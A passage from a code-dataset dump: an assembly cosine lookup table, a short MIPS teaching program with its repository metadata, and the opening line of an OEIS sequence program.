dw 0x0078, 0x0078, 0x0078, 0x0078, 0x0079, 0x0079, 0x0079, 0x0079
dw 0x0079, 0x0079, 0x0079, 0x0079, 0x007a, 0x007a, 0x007a, 0x007a
dw 0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x007b, 0x007b, 0x007b
dw 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007c
dw 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c
dw 0x007c, 0x007c, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d
dw 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007e
dw 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
halfCosine:
dw 0x0080, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007e, 0x007e, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d
dw 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007c
dw 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c
dw 0x007c, 0x007c, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b
dw 0x007b, 0x007b, 0x007b, 0x007b, 0x007a, 0x007a, 0x007a, 0x007a
dw 0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x0079, 0x0079, 0x0079
dw 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0078, 0x0078, 0x0078
dw 0x0078, 0x0078, 0x0078, 0x0078, 0x0077, 0x0077, 0x0077, 0x0077
dw 0x0077, 0x0077, 0x0077, 0x0076, 0x0076, 0x0076, 0x0076, 0x0076
dw 0x0076, 0x0076, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075
dw 0x0075, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074, 0x0073
dw 0x0073, 0x0073, 0x0073, 0x0073, 0x0073, 0x0072, 0x0072, 0x0072
dw 0x0072, 0x0072, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071
dw 0x0070, 0x0070, 0x0070, 0x0070, 0x0070, 0x006f, 0x006f, 0x006f
dw 0x006f, 0x006f, 0x006e, 0x006e, 0x006e, 0x006e, 0x006e, 0x006d
dw 0x006d, 0x006d, 0x006d, 0x006d, 0x006c, 0x006c, 0x006c, 0x006c
dw 0x006c, 0x006b, 0x006b, 0x006b, 0x006b, 0x006b, 0x006a, 0x006a
dw 0x006a, 0x006a, 0x0069, 0x0069, 0x0069, 0x0069, 0x0069, 0x0068
dw 0x0068, 0x0068, 0x0068, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067
dw 0x0066, 0x0066, 0x0066, 0x0066, 0x0065, 0x0065, 0x0065, 0x0065
dw 0x0064, 0x0064, 0x0064, 0x0064, 0x0063, 0x0063, 0x0063, 0x0063
dw 0x0062, 0x0062, 0x0062, 0x0062, 0x0061, 0x0061, 0x0061, 0x0061
dw 0x0060, 0x0060, 0x0060, 0x0060, 0x005f, 0x005f, 0x005f, 0x005f
dw 0x005e, 0x005e, 0x005e, 0x005e, 0x005d, 0x005d, 0x005d, 0x005c
dw 0x005c, 0x005c, 0x005c, 0x005b, 0x005b, 0x005b, 0x005b, 0x005a
dw 0x005a, 0x005a, 0x0059, 0x0059, 0x0059, 0x0059, 0x0058, 0x0058
dw 0x0058, 0x0057, 0x0057, 0x0057, 0x0057, 0x0056, 0x0056, 0x0056
dw 0x0055, 0x0055, 0x0055, 0x0055, 0x0054, 0x0054, 0x0054, 0x0053
dw 0x0053, 0x0053, 0x0053, 0x0052, 0x0052, 0x0052, 0x0051, 0x0051
dw 0x0051, 0x0050, 0x0050, 0x0050, 0x004f, 0x004f, 0x004f, 0x004f
dw 0x004e, 0x004e, 0x004e, 0x004d, 0x004d, 0x004d, 0x004c, 0x004c
dw 0x004c, 0x004b, 0x004b, 0x004b, 0x004a, 0x004a, 0x004a, 0x004a
dw 0x0049, 0x0049, 0x0049, 0x0048, 0x0048, 0x0048, 0x0047, 0x0047
dw 0x0047, 0x0046, 0x0046, 0x0046, 0x0045, 0x0045, 0x0045, 0x0044
dw 0x0044, 0x0044, 0x0043, 0x0043, 0x0043, 0x0042, 0x0042, 0x0042
dw 0x0041, 0x0041, 0x0041, 0x0040, 0x0040, 0x0040, 0x003f, 0x003f
dw 0x003f, 0x003e, 0x003e, 0x003e, 0x003d, 0x003d, 0x003d, 0x003c
dw 0x003c, 0x003b, 0x003b, 0x003b, 0x003a, 0x003a, 0x003a, 0x0039
dw 0x0039, 0x0039, 0x0038, 0x0038, 0x0038, 0x0037, 0x0037, 0x0037
dw 0x0036, 0x0036, 0x0036, 0x0035, 0x0035, 0x0034, 0x0034, 0x0034
dw 0x0033, 0x0033, 0x0033, 0x0032, 0x0032, 0x0032, 0x0031, 0x0031
dw 0x0030, 0x0030, 0x0030, 0x002f, 0x002f, 0x002f, 0x002e, 0x002e
dw 0x002e, 0x002d, 0x002d, 0x002c, 0x002c, 0x002c, 0x002b, 0x002b
dw 0x002b, 0x002a, 0x002a, 0x002a, 0x0029, 0x0029, 0x0028, 0x0028
dw 0x0028, 0x0027, 0x0027, 0x0027, 0x0026, 0x0026, 0x0025, 0x0025
dw 0x0025, 0x0024, 0x0024, 0x0024, 0x0023, 0x0023, 0x0022, 0x0022
dw 0x0022, 0x0021, 0x0021, 0x0021, 0x0020, 0x0020, 0x001f, 0x001f
dw 0x001f, 0x001e, 0x001e, 0x001d, 0x001d, 0x001d, 0x001c, 0x001c
dw 0x001c, 0x001b, 0x001b, 0x001a, 0x001a, 0x001a, 0x0019, 0x0019
dw 0x0018, 0x0018, 0x0018, 0x0017, 0x0017, 0x0017, 0x0016, 0x0016
dw 0x0015, 0x0015, 0x0015, 0x0014, 0x0014, 0x0013, 0x0013, 0x0013
dw 0x0012, 0x0012, 0x0012, 0x0011, 0x0011, 0x0010, 0x0010, 0x0010
dw 0x000f, 0x000f, 0x000e, 0x000e, 0x000e, 0x000d, 0x000d, 0x000c
dw 0x000c, 0x000c, 0x000b, 0x000b, 0x000a, 0x000a, 0x000a, 0x0009
dw 0x0009, 0x0009, 0x0008, 0x0008, 0x0007, 0x0007, 0x0007, 0x0006
dw 0x0006, 0x0005, 0x0005, 0x0005, 0x0004, 0x0004, 0x0003, 0x0003
dw 0x0003, 0x0002, 0x0002, 0x0001, 0x0001, 0x0001, 0x0000, 0x0000
dw 0x0000, 0x0000, 0x0000, 0xffff, 0xffff, 0xffff, 0xfffe, 0xfffe
dw 0xfffd, 0xfffd, 0xfffd, 0xfffc, 0xfffc, 0xfffb, 0xfffb, 0xfffb
dw 0xfffa, 0xfffa, 0xfff9, 0xfff9, 0xfff9, 0xfff8, 0xfff8, 0xfff7
dw 0xfff7, 0xfff7, 0xfff6, 0xfff6, 0xfff6, 0xfff5, 0xfff5, 0xfff4
dw 0xfff4, 0xfff4, 0xfff3, 0xfff3, 0xfff2, 0xfff2, 0xfff2, 0xfff1
dw 0xfff1, 0xfff0, 0xfff0, 0xfff0, 0xffef, 0xffef, 0xffee, 0xffee
dw 0xffee, 0xffed, 0xffed, 0xffed, 0xffec, 0xffec, 0xffeb, 0xffeb
dw 0xffeb, 0xffea, 0xffea, 0xffe9, 0xffe9, 0xffe9, 0xffe8, 0xffe8
dw 0xffe8, 0xffe7, 0xffe7, 0xffe6, 0xffe6, 0xffe6, 0xffe5, 0xffe5
dw 0xffe4, 0xffe4, 0xffe4, 0xffe3, 0xffe3, 0xffe3, 0xffe2, 0xffe2
dw 0xffe1, 0xffe1, 0xffe1, 0xffe0, 0xffe0, 0xffdf, 0xffdf, 0xffdf
dw 0xffde, 0xffde, 0xffde, 0xffdd, 0xffdd, 0xffdc, 0xffdc, 0xffdc
dw 0xffdb, 0xffdb, 0xffdb, 0xffda, 0xffda, 0xffd9, 0xffd9, 0xffd9
dw 0xffd8, 0xffd8, 0xffd8, 0xffd7, 0xffd7, 0xffd6, 0xffd6, 0xffd6
dw 0xffd5, 0xffd5, 0xffd5, 0xffd4, 0xffd4, 0xffd4, 0xffd3, 0xffd3
dw 0xffd2, 0xffd2, 0xffd2, 0xffd1, 0xffd1, 0xffd1, 0xffd0, 0xffd0
dw 0xffd0, 0xffcf, 0xffcf, 0xffce, 0xffce, 0xffce, 0xffcd, 0xffcd
dw 0xffcd, 0xffcc, 0xffcc, 0xffcc, 0xffcb, 0xffcb, 0xffca, 0xffca
dw 0xffca, 0xffc9, 0xffc9, 0xffc9, 0xffc8, 0xffc8, 0xffc8, 0xffc7
dw 0xffc7, 0xffc7, 0xffc6, 0xffc6, 0xffc6, 0xffc5, 0xffc5, 0xffc5
dw 0xffc4, 0xffc4, 0xffc3, 0xffc3, 0xffc3, 0xffc2, 0xffc2, 0xffc2
dw 0xffc1, 0xffc1, 0xffc1, 0xffc0, 0xffc0, 0xffc0, 0xffbf, 0xffbf
dw 0xffbf, 0xffbe, 0xffbe, 0xffbe, 0xffbd, 0xffbd, 0xffbd, 0xffbc
dw 0xffbc, 0xffbc, 0xffbb, 0xffbb, 0xffbb, 0xffba, 0xffba, 0xffba
dw 0xffb9, 0xffb9, 0xffb9, 0xffb8, 0xffb8, 0xffb8, 0xffb7, 0xffb7
dw 0xffb7, 0xffb6, 0xffb6, 0xffb6, 0xffb6, 0xffb5, 0xffb5, 0xffb5
dw 0xffb4, 0xffb4, 0xffb4, 0xffb3, 0xffb3, 0xffb3, 0xffb2, 0xffb2
dw 0xffb2, 0xffb1, 0xffb1, 0xffb1, 0xffb1, 0xffb0, 0xffb0, 0xffb0
dw 0xffaf, 0xffaf, 0xffaf, 0xffae, 0xffae, 0xffae, 0xffad, 0xffad
dw 0xffad, 0xffad, 0xffac, 0xffac, 0xffac, 0xffab, 0xffab, 0xffab
dw 0xffab, 0xffaa, 0xffaa, 0xffaa, 0xffa9, 0xffa9, 0xffa9, 0xffa9
dw 0xffa8, 0xffa8, 0xffa8, 0xffa7, 0xffa7, 0xffa7, 0xffa7, 0xffa6
dw 0xffa6, 0xffa6, 0xffa5, 0xffa5, 0xffa5, 0xffa5, 0xffa4, 0xffa4
dw 0xffa4, 0xffa4, 0xffa3, 0xffa3, 0xffa3, 0xffa2, 0xffa2, 0xffa2
dw 0xffa2, 0xffa1, 0xffa1, 0xffa1, 0xffa1, 0xffa0, 0xffa0, 0xffa0
dw 0xffa0, 0xff9f, 0xff9f, 0xff9f, 0xff9f, 0xff9e, 0xff9e, 0xff9e
dw 0xff9e, 0xff9d, 0xff9d, 0xff9d, 0xff9d, 0xff9c, 0xff9c, 0xff9c
dw 0xff9c, 0xff9b, 0xff9b, 0xff9b, 0xff9b, 0xff9a, 0xff9a, 0xff9a
dw 0xff9a, 0xff99, 0xff99, 0xff99, 0xff99, 0xff99, 0xff98, 0xff98
dw 0xff98, 0xff98, 0xff97, 0xff97, 0xff97, 0xff97, 0xff97, 0xff96
dw 0xff96, 0xff96, 0xff96, 0xff95, 0xff95, 0xff95, 0xff95, 0xff95
dw 0xff94, 0xff94, 0xff94, 0xff94, 0xff94, 0xff93, 0xff93, 0xff93
dw 0xff93, 0xff93, 0xff92, 0xff92, 0xff92, 0xff92, 0xff92, 0xff91
dw 0xff91, 0xff91, 0xff91, 0xff91, 0xff90, 0xff90, 0xff90, 0xff90
dw 0xff90, 0xff8f, 0xff8f, 0xff8f, 0xff8f, 0xff8f, 0xff8f, 0xff8e
dw 0xff8e, 0xff8e, 0xff8e, 0xff8e, 0xff8d, 0xff8d, 0xff8d, 0xff8d
dw 0xff8d, 0xff8d, 0xff8c, 0xff8c, 0xff8c, 0xff8c, 0xff8c, 0xff8c
dw 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8a
dw 0xff8a, 0xff8a, 0xff8a, 0xff8a, 0xff8a, 0xff8a, 0xff89, 0xff89
dw 0xff89, 0xff89, 0xff89, 0xff89, 0xff89, 0xff88, 0xff88, 0xff88
dw 0xff88, 0xff88, 0xff88, 0xff88, 0xff87, 0xff87, 0xff87, 0xff87
dw 0xff87, 0xff87, 0xff87, 0xff87, 0xff86, 0xff86, 0xff86, 0xff86
dw 0xff86, 0xff86, 0xff86, 0xff86, 0xff86, 0xff85, 0xff85, 0xff85
dw 0xff85, 0xff85, 0xff85, 0xff85, 0xff85, 0xff85, 0xff85, 0xff84
dw 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84
dw 0xff84, 0xff84, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83
dw 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff82
dw 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82
dw 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff80, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82
dw 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82
dw 0xff82, 0xff82, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83
dw 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff84
dw 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84
dw 0xff84, 0xff84, 0xff85, 0xff85, 0xff85, 0xff85, 0xff85, 0xff85
dw 0xff85, 0xff85, 0xff85, 0xff85, 0xff86, 0xff86, 0xff86, 0xff86
dw 0xff86, 0xff86, 0xff86, 0xff86, 0xff86, 0xff87, 0xff87, 0xff87
dw 0xff87, 0xff87, 0xff87, 0xff87, 0xff87, 0xff88, 0xff88, 0xff88
dw 0xff88, 0xff88, 0xff88, 0xff88, 0xff89, 0xff89, 0xff89, 0xff89
dw 0xff89, 0xff89, 0xff89, 0xff8a, 0xff8a, 0xff8a, 0xff8a, 0xff8a
dw 0xff8a, 0xff8a, 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8b
dw 0xff8b, 0xff8c, 0xff8c, 0xff8c, 0xff8c, 0xff8c, 0xff8c, 0xff8d
dw 0xff8d, 0xff8d, 0xff8d, 0xff8d, 0xff8d, 0xff8e, 0xff8e, 0xff8e
dw 0xff8e, 0xff8e, 0xff8f, 0xff8f, 0xff8f, 0xff8f, 0xff8f, 0xff8f
dw 0xff90, 0xff90, 0xff90, 0xff90, 0xff90, 0xff91, 0xff91, 0xff91
dw 0xff91, 0xff91, 0xff92, 0xff92, 0xff92, 0xff92, 0xff92, 0xff93
dw 0xff93, 0xff93, 0xff93, 0xff93, 0xff94, 0xff94, 0xff94, 0xff94
dw 0xff94, 0xff95, 0xff95, 0xff95, 0xff95, 0xff95, 0xff96, 0xff96
dw 0xff96, 0xff96, 0xff97, 0xff97, 0xff97, 0xff97, 0xff97, 0xff98
dw 0xff98, 0xff98, 0xff98, 0xff99, 0xff99, 0xff99, 0xff99, 0xff99
dw 0xff9a, 0xff9a, 0xff9a, 0xff9a, 0xff9b, 0xff9b, 0xff9b, 0xff9b
dw 0xff9c, 0xff9c, 0xff9c, 0xff9c, 0xff9d, 0xff9d, 0xff9d, 0xff9d
dw 0xff9e, 0xff9e, 0xff9e, 0xff9e, 0xff9f, 0xff9f, 0xff9f, 0xff9f
dw 0xffa0, 0xffa0, 0xffa0, 0xffa0, 0xffa1, 0xffa1, 0xffa1, 0xffa1
dw 0xffa2, 0xffa2, 0xffa2, 0xffa2, 0xffa3, 0xffa3, 0xffa3, 0xffa4
dw 0xffa4, 0xffa4, 0xffa4, 0xffa5, 0xffa5, 0xffa5, 0xffa5, 0xffa6
dw 0xffa6, 0xffa6, 0xffa7, 0xffa7, 0xffa7, 0xffa7, 0xffa8, 0xffa8
dw 0xffa8, 0xffa9, 0xffa9, 0xffa9, 0xffa9, 0xffaa, 0xffaa, 0xffaa
dw 0xffab, 0xffab, 0xffab, 0xffab, 0xffac, 0xffac, 0xffac, 0xffad
dw 0xffad, 0xffad, 0xffad, 0xffae, 0xffae, 0xffae, 0xffaf, 0xffaf
dw 0xffaf, 0xffb0, 0xffb0, 0xffb0, 0xffb1, 0xffb1, 0xffb1, 0xffb1
dw 0xffb2, 0xffb2, 0xffb2, 0xffb3, 0xffb3, 0xffb3, 0xffb4, 0xffb4
dw 0xffb4, 0xffb5, 0xffb5, 0xffb5, 0xffb6, 0xffb6, 0xffb6, 0xffb6
dw 0xffb7, 0xffb7, 0xffb7, 0xffb8, 0xffb8, 0xffb8, 0xffb9, 0xffb9
dw 0xffb9, 0xffba, 0xffba, 0xffba, 0xffbb, 0xffbb, 0xffbb, 0xffbc
dw 0xffbc, 0xffbc, 0xffbd, 0xffbd, 0xffbd, 0xffbe, 0xffbe, 0xffbe
dw 0xffbf, 0xffbf, 0xffbf, 0xffc0, 0xffc0, 0xffc0, 0xffc1, 0xffc1
dw 0xffc1, 0xffc2, 0xffc2, 0xffc2, 0xffc3, 0xffc3, 0xffc3, 0xffc4
dw 0xffc4, 0xffc5, 0xffc5, 0xffc5, 0xffc6, 0xffc6, 0xffc6, 0xffc7
dw 0xffc7, 0xffc7, 0xffc8, 0xffc8, 0xffc8, 0xffc9, 0xffc9, 0xffc9
dw 0xffca, 0xffca, 0xffca, 0xffcb, 0xffcb, 0xffcc, 0xffcc, 0xffcc
dw 0xffcd, 0xffcd, 0xffcd, 0xffce, 0xffce, 0xffce, 0xffcf, 0xffcf
dw 0xffd0, 0xffd0, 0xffd0, 0xffd1, 0xffd1, 0xffd1, 0xffd2, 0xffd2
dw 0xffd2, 0xffd3, 0xffd3, 0xffd4, 0xffd4, 0xffd4, 0xffd5, 0xffd5
dw 0xffd5, 0xffd6, 0xffd6, 0xffd6, 0xffd7, 0xffd7, 0xffd8, 0xffd8
dw 0xffd8, 0xffd9, 0xffd9, 0xffd9, 0xffda, 0xffda, 0xffdb, 0xffdb
dw 0xffdb, 0xffdc, 0xffdc, 0xffdc, 0xffdd, 0xffdd, 0xffde, 0xffde
dw 0xffde, 0xffdf, 0xffdf, 0xffdf, 0xffe0, 0xffe0, 0xffe1, 0xffe1
dw 0xffe1, 0xffe2, 0xffe2, 0xffe3, 0xffe3, 0xffe3, 0xffe4, 0xffe4
dw 0xffe4, 0xffe5, 0xffe5, 0xffe6, 0xffe6, 0xffe6, 0xffe7, 0xffe7
dw 0xffe8, 0xffe8, 0xffe8, 0xffe9, 0xffe9, 0xffe9, 0xffea, 0xffea
dw 0xffeb, 0xffeb, 0xffeb, 0xffec, 0xffec, 0xffed, 0xffed, 0xffed
dw 0xffee, 0xffee, 0xffee, 0xffef, 0xffef, 0xfff0, 0xfff0, 0xfff0
dw 0xfff1, 0xfff1, 0xfff2, 0xfff2, 0xfff2, 0xfff3, 0xfff3, 0xfff4
dw 0xfff4, 0xfff4, 0xfff5, 0xfff5, 0xfff6, 0xfff6, 0xfff6, 0xfff7
dw 0xfff7, 0xfff7, 0xfff8, 0xfff8, 0xfff9, 0xfff9, 0xfff9, 0xfffa
dw 0xfffa, 0xfffb, 0xfffb, 0xfffb, 0xfffc, 0xfffc, 0xfffd, 0xfffd
dw 0xfffd, 0xfffe, 0xfffe, 0xffff, 0xffff, 0xffff, 0x0000, 0x0000
dw 0x0000, 0x0000, 0x0000, 0x0001, 0x0001, 0x0001, 0x0002, 0x0002
dw 0x0003, 0x0003, 0x0003, 0x0004, 0x0004, 0x0005, 0x0005, 0x0005
dw 0x0006, 0x0006, 0x0007, 0x0007, 0x0007, 0x0008, 0x0008, 0x0009
dw 0x0009, 0x0009, 0x000a, 0x000a, 0x000a, 0x000b, 0x000b, 0x000c
dw 0x000c, 0x000c, 0x000d, 0x000d, 0x000e, 0x000e, 0x000e, 0x000f
dw 0x000f, 0x0010, 0x0010, 0x0010, 0x0011, 0x0011, 0x0012, 0x0012
dw 0x0012, 0x0013, 0x0013, 0x0013, 0x0014, 0x0014, 0x0015, 0x0015
dw 0x0015, 0x0016, 0x0016, 0x0017, 0x0017, 0x0017, 0x0018, 0x0018
dw 0x0018, 0x0019, 0x0019, 0x001a, 0x001a, 0x001a, 0x001b, 0x001b
dw 0x001c, 0x001c, 0x001c, 0x001d, 0x001d, 0x001d, 0x001e, 0x001e
dw 0x001f, 0x001f, 0x001f, 0x0020, 0x0020, 0x0021, 0x0021, 0x0021
dw 0x0022, 0x0022, 0x0022, 0x0023, 0x0023, 0x0024, 0x0024, 0x0024
dw 0x0025, 0x0025, 0x0025, 0x0026, 0x0026, 0x0027, 0x0027, 0x0027
dw 0x0028, 0x0028, 0x0028, 0x0029, 0x0029, 0x002a, 0x002a, 0x002a
dw 0x002b, 0x002b, 0x002b, 0x002c, 0x002c, 0x002c, 0x002d, 0x002d
dw 0x002e, 0x002e, 0x002e, 0x002f, 0x002f, 0x002f, 0x0030, 0x0030
dw 0x0030, 0x0031, 0x0031, 0x0032, 0x0032, 0x0032, 0x0033, 0x0033
dw 0x0033, 0x0034, 0x0034, 0x0034, 0x0035, 0x0035, 0x0036, 0x0036
dw 0x0036, 0x0037, 0x0037, 0x0037, 0x0038, 0x0038, 0x0038, 0x0039
dw 0x0039, 0x0039, 0x003a, 0x003a, 0x003a, 0x003b, 0x003b, 0x003b
dw 0x003c, 0x003c, 0x003d, 0x003d, 0x003d, 0x003e, 0x003e, 0x003e
dw 0x003f, 0x003f, 0x003f, 0x0040, 0x0040, 0x0040, 0x0041, 0x0041
dw 0x0041, 0x0042, 0x0042, 0x0042, 0x0043, 0x0043, 0x0043, 0x0044
dw 0x0044, 0x0044, 0x0045, 0x0045, 0x0045, 0x0046, 0x0046, 0x0046
dw 0x0047, 0x0047, 0x0047, 0x0048, 0x0048, 0x0048, 0x0049, 0x0049
dw 0x0049, 0x004a, 0x004a, 0x004a, 0x004a, 0x004b, 0x004b, 0x004b
dw 0x004c, 0x004c, 0x004c, 0x004d, 0x004d, 0x004d, 0x004e, 0x004e
dw 0x004e, 0x004f, 0x004f, 0x004f, 0x004f, 0x0050, 0x0050, 0x0050
dw 0x0051, 0x0051, 0x0051, 0x0052, 0x0052, 0x0052, 0x0053, 0x0053
dw 0x0053, 0x0053, 0x0054, 0x0054, 0x0054, 0x0055, 0x0055, 0x0055
dw 0x0055, 0x0056, 0x0056, 0x0056, 0x0057, 0x0057, 0x0057, 0x0057
dw 0x0058, 0x0058, 0x0058, 0x0059, 0x0059, 0x0059, 0x0059, 0x005a
dw 0x005a, 0x005a, 0x005b, 0x005b, 0x005b, 0x005b, 0x005c, 0x005c
dw 0x005c, 0x005c, 0x005d, 0x005d, 0x005d, 0x005e, 0x005e, 0x005e
dw 0x005e, 0x005f, 0x005f, 0x005f, 0x005f, 0x0060, 0x0060, 0x0060
dw 0x0060, 0x0061, 0x0061, 0x0061, 0x0061, 0x0062, 0x0062, 0x0062
dw 0x0062, 0x0063, 0x0063, 0x0063, 0x0063, 0x0064, 0x0064, 0x0064
dw 0x0064, 0x0065, 0x0065, 0x0065, 0x0065, 0x0066, 0x0066, 0x0066
dw 0x0066, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0068, 0x0068
dw 0x0068, 0x0068, 0x0069, 0x0069, 0x0069, 0x0069, 0x0069, 0x006a
dw 0x006a, 0x006a, 0x006a, 0x006b, 0x006b, 0x006b, 0x006b, 0x006b
dw 0x006c, 0x006c, 0x006c, 0x006c, 0x006c, 0x006d, 0x006d, 0x006d
dw 0x006d, 0x006d, 0x006e, 0x006e, 0x006e, 0x006e, 0x006e, 0x006f
dw 0x006f, 0x006f, 0x006f, 0x006f, 0x0070, 0x0070, 0x0070, 0x0070
dw 0x0070, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0072
dw 0x0072, 0x0072, 0x0072, 0x0072, 0x0073, 0x0073, 0x0073, 0x0073
dw 0x0073, 0x0073, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074
dw 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0076
dw 0x0076, 0x0076, 0x0076, 0x0076, 0x0076, 0x0076, 0x0077, 0x0077
dw 0x0077, 0x0077, 0x0077, 0x0077, 0x0077, 0x0078, 0x0078, 0x0078
dw 0x0078, 0x0078, 0x0078, 0x0078, 0x0079, 0x0079, 0x0079, 0x0079
dw 0x0079, 0x0079, 0x0079, 0x0079, 0x007a, 0x007a, 0x007a, 0x007a
dw 0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x007b, 0x007b, 0x007b
dw 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007c
dw 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c
dw 0x007c, 0x007c, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d
dw 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007e
dw 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
| 67.231481 | 67 | 0.735344 |
9d1d2cf966a498ac312388dc49cb90334be261b9 | 167 | asm | Assembly | a.asm | Ericles-Porty/Assembly-Lessons | 522d17dc1e929603c310b9c9d4d2e5fd5ba32a94 | [
"MIT"
] | 2 | 2022-03-19T01:53:43.000Z | 2022-03-19T01:54:13.000Z | a.asm | Ericles-Porty/Assembly-Lessons | 522d17dc1e929603c310b9c9d4d2e5fd5ba32a94 | [
"MIT"
] | null | null | null | a.asm | Ericles-Porty/Assembly-Lessons | 522d17dc1e929603c310b9c9d4d2e5fd5ba32a94 | [
"MIT"
] | null | null | null | .data
a: .word 10
b: .word 15
c: .word 35
d: .word 25
.text
lw $s0, a
lw $s1, b
lw $s2, c
lw $s3, d
add $t0, $s0, $s1
sub $t1, $s2, $s3
sub $s0, $t0, $t1 | 11.928571 | 18 | 0.497006 |
cb08fd25daeb4f11393f198d9c0a367d04ca7e24 | 1,903 | asm | Assembly | programs/oeis/124/A124671.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/124/A124671.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/124/A124671.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A124671: Row sums of A126277 = binomial transform of (1, 2, 2, 3, 4, 4, 4,...)
